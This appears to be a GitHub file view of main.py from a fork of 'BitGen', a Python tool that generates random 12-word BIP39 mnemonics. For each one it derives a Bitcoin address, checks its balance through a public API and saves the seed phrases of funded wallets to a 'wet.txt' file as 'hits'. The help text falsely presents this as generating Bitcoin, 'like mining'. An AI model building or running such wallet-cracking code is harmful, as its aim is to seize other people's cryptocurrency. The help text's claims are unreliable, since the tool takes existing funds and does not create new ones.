forked from Anarbb/BitGen
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmain.py
More file actions
174 lines (143 loc) · 4.82 KB
/
main.py
File metadata and controls
174 lines (143 loc) · 4.82 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
import pprint
import mnemonic
import bip32utils
import requests
import random
import os
from decimal import Decimal
from multiprocessing.pool import ThreadPool as Pool
import threading
from Bip39Gen import Bip39Gen
from time import sleep
import ctypes
class Settings():
save_empty = "y"
total_count = 0
wet_count = 0
dry_count = 0
def makeDir():
path = 'results'
if not os.path.exists(path):
os.makedirs(path)
def userInput():
print("""Type "start" to begin or "help" for the help prompt.
""")
while True:
user_input = input("> ").lower()
if user_input == "start":
start()
break
elif user_input == "help":
helpText()
else:
print("type 'help' to get help")
def getInternet():
try:
try:
requests.get('http://216.58.192.142')
except requests.ConnectTimeout:
requests.get('http://1.1.1.1')
return True
except requests.ConnectionError:
return False
lock = threading.Lock()
if getInternet() == True:
dictionary = requests.get(
'https://raw.githubusercontent.com/bitcoin/bips/master/bip-0039/english.txt').text.strip().split('\n')
else:
pass
def getBalance(addr):
try:
response = requests.get(
f'https://api.smartbit.com.au/v1/blockchain/address/{addr}')
return (
Decimal(response.json()["address"]["total"]["balance"])
)
except:
pass
def generateSeed():
seed = ""
for i in range(12):
seed += random.choice(dictionary) if i == 0 else ' ' + \
random.choice(dictionary)
return seed
def bip39(mnemonic_words):
mobj = mnemonic.Mnemonic("english")
seed = mobj.to_seed(mnemonic_words)
bip32_root_key_obj = bip32utils.BIP32Key.fromEntropy(seed)
bip32_child_key_obj = bip32_root_key_obj.ChildKey(
44 + bip32utils.BIP32_HARDEN
).ChildKey(
0 + bip32utils.BIP32_HARDEN
).ChildKey(
0 + bip32utils.BIP32_HARDEN
).ChildKey(0).ChildKey(0)
return bip32_child_key_obj.Address()
def check():
while True:
mnemonic_words = Bip39Gen(dictionary).mnemonic
addy = bip39(mnemonic_words)
balance = getBalance(addy)
with lock:
print(
f'Address: {addy} | Balance: {balance} | Mnemonic phrase: {mnemonic_words}')
Settings.total_count += 1
if Settings.save_empty == "y":
ctypes.windll.kernel32.SetConsoleTitleW(
f"Empty: {Settings.dry_count} - Hits: {Settings.wet_count} - Total checks: {Settings.total_count}")
else:
ctypes.windll.kernel32.SetConsoleTitleW(
f"Hits: {Settings.wet_count} - Total checks: {Settings.total_count}")
if balance > 0:
with open('results/wet.txt', 'a') as w:
w.write(
f'Address: {addy} | Balance: {balance} | Mnemonic phrase: {mnemonic_words}\n')
Settings.wet_count += 1
else:
if Settings.save_empty == "n":
pass
else:
with open('results/dry.txt', 'a') as w:
w.write(
f'Address: {addy} | Balance: {balance} | Mnemonic phrase: {mnemonic_words}\n')
Settings.dry_count += 1
def helpText():
print("""
This program was made by Anarb and it generates Bitcoin by searching multiple possible
wallet combinations until it's finds one with over 0 BTC and saves it into
a file called "wet.txt" in the results folder.
It's recommended to leave this running for a long time to get the best resaults, It's doesn't use up
that much resources so you can leave it in the background in the chance of you hitting a jackpot.
It's like mining but with less resources
=========================================================================================
start - Starts the program
=========================================================================================
More commands will be added soon plus other cryptocurrencies.
""")
def start():
try:
threads = int(input("Number of threads (1 - 666): "))
if threads > 666:
print("You can only run 666 threads at once")
start()
except ValueError:
print("Enter an interger!")
start()
Settings.save_empty = input("Save empty? (y/n): ").lower()
if getInternet() == True:
pool = Pool(threads)
for _ in range(threads):
pool.apply_async(check, ())
pool.close()
pool.join()
else:
print("Told ya")
userInput()
if __name__ == '__main__':
makeDir()
getInternet()
if getInternet() == False:
print("You have no internet access the generator won't work.")
else:
pass
userInput()